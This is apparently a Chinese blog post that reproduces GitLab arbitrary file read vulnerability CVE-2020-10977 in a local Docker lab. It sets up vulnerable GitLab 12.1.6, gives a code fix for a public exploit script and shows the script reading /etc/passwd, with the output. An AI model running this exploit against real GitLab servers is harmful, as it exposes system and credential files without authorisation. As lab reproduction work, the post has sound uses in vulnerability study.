GitLab任意文件读取漏洞CVE-2020-10977重现

漏洞描述

  • 地址: https://www.freebuf.com/vuls/235982.html

Gitlab安装

  • 官方地址: https://docs.gitlab.com/omnibus/docker/
  • PoC: https://www.exploit-db.com/exploits/48431
  • 启动docker:
    • 注意版本号,不要用最新版本,这个漏洞是有相关版本的
    docker run --detach \
      --hostname 192.168.1.22 \
      --publish 9443:443 --publish 980:80 --publish 922:22 \
      --name gitlab \
      --restart always \
      --volume /root/config:/etc/gitlab \
      --volume /root/logs:/var/log/gitlab \
      --volume /root/data:/var/opt/gitlab \
      gitlab/gitlab-ee:12.1.6-ee.0
    

访问gitlab

  • 访问地址: http://192.168.1.22:980,这个地址是你在docker启动的时候指定的
  • 设置root账号的密码
  • 新注册一个普通账号

爆破脚本

  • 地址: https://github.com/thewhiteh4t/cve-2020-10977
  • 脚本使用问题及解决
    • 不要使用gitlab的root账号,root账号的网页解析会失败
    • 脚本本身有一个小问题,把project_id的查找,替换为如下代码:
      	data_project = body.find_all(attrs={"data-project-id": re.compile("\\d+")})
          if len(data_project) == 0:
              raise Exception("没找到属性为data-project-id的元素")
          project_id = data_project[0].attrs['data-project-id']
      

脚本使用

  • 按照github上的要求安装相关库
  • 运行: python cve_2020_10977.py http://192.168.1.22:980 user01 123456789, 最后2个参数是用户名和密码
  • 出现这个提示的时候输入你想获取的主机文件的绝对路径:
    [>] Absolute Path to File : 
    
    比如: /etc/passwd
  • 输出结果:
    git:x:998:998::/var/opt/gitlab:/bin/sh
    gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
    gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
    gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
    mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
    registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
    gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
    gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh
    

总结

  • 只能针对文件,目录会报Access Denied:
    [>] Absolute Path to File : /tmp
    [!] Creating an Issue...
    [+] Issue Created Successfully!
    [!] Moving Issue...
    [-] Access Denied!
    
  • 这个脚本会创建出2个项目:ProjectOneProjectTwo,如果脚本中途崩溃的话,记得上去手动删除这2个项目
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值